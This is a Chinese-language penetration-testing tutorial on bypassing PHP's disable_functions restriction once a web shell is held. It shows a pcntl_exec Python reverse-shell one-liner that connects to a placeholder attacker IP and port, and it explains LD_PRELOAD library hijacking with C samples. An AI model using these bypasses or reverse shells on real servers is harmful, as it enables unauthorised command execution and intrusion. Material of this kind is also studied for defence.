龙空技术网

提权之disable_function篇

星云博创 565

前言:

今天咱们对“php禁止函数”大约比较关注,姐妹们都需要学习一些“php禁止函数”的相关知识。那么小编在网上搜集了一些有关“php禁止函数””的相关内容,希望我们能喜欢,你们一起来了解一下吧!

前言

disable_function是渗透测试中的一大难题,好多时候当我们拿到shell了,但是因为有disable_function这个限制,没有办法进行下一步,因此各种利用技巧就显现出来了,今天这篇文章讲解了两种绕过方法。

php超全局变量

首先我们来谈谈超全局变量,在php中函数变量和全局是隔绝的,无法访问的。

demo1:

现在在函数内部加一个globle,这样函数内部的test函数就变成超全局变量了。

在函数内部定义全局变量:

通过globle 函数,可以让我们在外部访问到函数内部定义的变量的值。

demo2:

3.php代码如图所示:

2.php代码如图所示:

这里说明一下作用域的问题:可以看到我们导入了3.php中的Test()函数,但是要注意一点,3.php中的变量a,被限制在Test_Global()函数内了,这个输出0。

disable_function

disable_function是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数。

disable_functions=exec,passthru,popen,proc_open,shell_exec,system,phpinfo,assert,chroot,getcwd,scandir,unlink,delete,rmdir,rename,chgrp,chmod,chown,fopen,copy,mkdir

首先我们先来介绍这几个函数:

exec ( string $command [, array &$output [, int &$return_var ]] );$command 这个参数表示要执行的命令;$output:命令执行输出填充这个数组。

如图:这是直接echo ,看到并没有输出,那么我们用print_r将其进行打印:

至于system和passthru等函数不再详细说明,大家可以自行测试。

1) 利用pcntl_exec

demo:

<?php pcntl_exec(“/bin/bash”, array(“/tmp/1.sh”));?>

然后切换到/tmp/1.sh,写入 ls -l即可执行。

反弹shell:

这个函数在执行发生错误时返回false,执行成功则没有返回。所以这个函数我们一般配合python进行反弹shell。

php适用版本:PHP 4 >= 4.2.0, PHP 5

<?php  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("ip",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

分析:

socket套接字,最开始是为了同一主机间的不同程序进行通信,随着网络的发展,socket不断更新,现在已经能够让不同主机进行通信了。 AF_INET、AF_INET6是基于网络的套接字。SOCK_STREAM是面向连接的套接字。socket(socket.AF_INET,socket.SOCK_STRE)s.commect(("192.168.75.128",9988)) 创建一个基于网络并且使用tcp协议的套接字,用于通信。学过pwn的都知道,利用IP+协议+端口号唯一标识网络中的一个进程,一次来进行不同主机之间的通信。subprocess.call作用:执行由参数提供的命令,返回命令的状态,这个模块允许生成新的进程,连接到输入/输出管道。subprocess.call(["/bin/bash","-i"])生成一个新进程,并连接到交互式shell(/bin/bash)fileObject.fileno();构造linux下的标准输入输出linux shell下常用的文件描述符是:1.  标准输入   (stdin) :代码为 0 ,使用 < 或 <<2.  标准输出   (stdout):代码为 1 ,使用 > 或 >>3.  标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

这些轮子记住就好,一般pcntl_exec函数使用这两种利用方式。

2) 利用 LD_PRELOAD 环境变量

原理:先来说一下这个环境变量吧,功能是允许定义在程序运行前优先加载的动态链接库。这个功能就是用来有选择性的载入不同链接库中的相同函数。通过这个环境变量我们就可以在主程序和其动态链接库的中间加载别的动态链接库,我们可以利用这个特性,来进行劫持函数,以此来使用我们自己构造好的函数。

linux下c文件转换成.so文件:

gcc -c -fPIC -o a.o a.c

gcc -shared -o mylib.so mylib.o

-c表示编译 -fPIC表示,共享库的动态连接

-o表示输出的文件名,-shared表示生成一个共享库

demo1:

a.c

#include <stdio.h>#include <string.h>int main(int argc, char **argv){char passwd[] = "password";if (argc < 2) {        printf("usage: %s <password>/n", argv[0]);        return 0;}if (!strcmp(passwd, argv[1])) {        printf("Correct Password!/n");        return 0;}printf("Invalid Password!/n");}

首先我们gcc把a.c编译成linux下的可执行文件a

不难看出,strcmp函数比较两者的值,如果等于password那么就会输出correct!

根据上面的原理我们想能不能不管输入什么字符都能够输出correct呢。

下面我们构造一个b.c文件:

#include <stdio.h>#include <string.h>int strcmp(const char *s1, const char *s2){printf("hack functio  n invoked. s1=<%s> s2=<%s>/n", s1, s2);return 0;}

编译d.c为一个动态链接库,并且利用LD_PRELOAD全局变量使得先加载d.so这个动态链接库,这样我们就能实现之前想要达到的目的了。

demo2:

这个就捎带着一点二进制的东西了。

这个C语言已经写死了,但是我们可不可以用一些构造来让他输出ok呢?

首先我们利用gdb调试一下:

我们的想法是劫持printf函数,让其栈内的地址增加59那么就会让其输出ok。

结尾

disable_function绕过方法还有许多,属于进阶的第一步了,好多东西还需要用到.so文件来进行劫持,有很多技巧值得好好分析。

标签: #php禁止函数